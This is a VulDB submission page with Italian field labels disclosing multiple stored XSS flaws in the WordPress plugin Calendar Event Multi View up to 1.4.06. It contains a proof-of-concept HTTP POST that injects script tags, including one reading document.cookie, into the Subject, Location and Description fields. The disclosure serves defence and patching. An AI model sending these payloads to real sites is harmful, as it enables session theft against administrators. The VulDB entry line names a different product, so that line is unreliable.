| Titolo | Multiple Authenticated (contributor or higher user role) Stored Cross-Site Scripting (XSS) vulnerabilities in Calendar Event Multi View plugin <=1.4.06 at WordPress. |
|---|
| Descrizione | # Exploit Title: Multiple Authenticated (contributor or higher user role) Stored Cross-Site Scripting (XSS) vulnerabilities in Calendar Event Multi View plugin <=1.4.06 at WordPress.
# Exploit Author: Mostafa Farzaneh (Mr.Pyweb)
# Web Site: https://wordpress.dwbooster.com/calendars/cp-multi-view-calendar
# Software Homepage: https://wordpress.org/plugins/cp-multi-view-calendar/
# Version : 1.4.06
# Tested on: Windows 10
# Category: WebApp
# Date: 2022-05-25
# Description:
An authenticated user is able to inject arbitrary JavaScript or HTML code to the " Admin Calendar Data page" on Subject and Location parameters This causes Stored XSS attack against the administrators or the other users.
POC:
1- Go to CP Multi View Calendar tab and click on Admin Calendar Data.
2- click on calendar and Edit details.
3- add your payload in Subject and Location and Description parameters.
Request:
POST /wp/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&calid=1&month_index=1&method=adddetails&id=2 HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 366
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Subject=<script>alert(origin)</script>&colorvalue=%23C60&rrule=&rruleType=&stpartdate=05%2F10%2F2022&stparttime=00%3A00&etpartdate=05%2F16%2F2022&etparttime=00%3A00&stpartdatelast=05%2F10%2F2022&etpartdatelast=05%2F16%2F2022&stparttimelast=&etparttimelast=&IsAllDayEvent=1&Location=<script>alert('hacked')</script>&Description=<script>alert(document.cookie)</script>&timezone=4.5
|
|---|
| Utente | pyweb-security (UID 11883) |
|---|
| Sottomissione | 15/08/2022 12:32 (4 anni fa) |
|---|
| Moderazione | 16/08/2022 15:46 (1 day later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 206487 [MotoPress Timetable and Event Schedule fino a 1.4.06 su WordPress Calendar Subject/Location/Description cross site scripting] |
|---|
| Punti | 17 |
|---|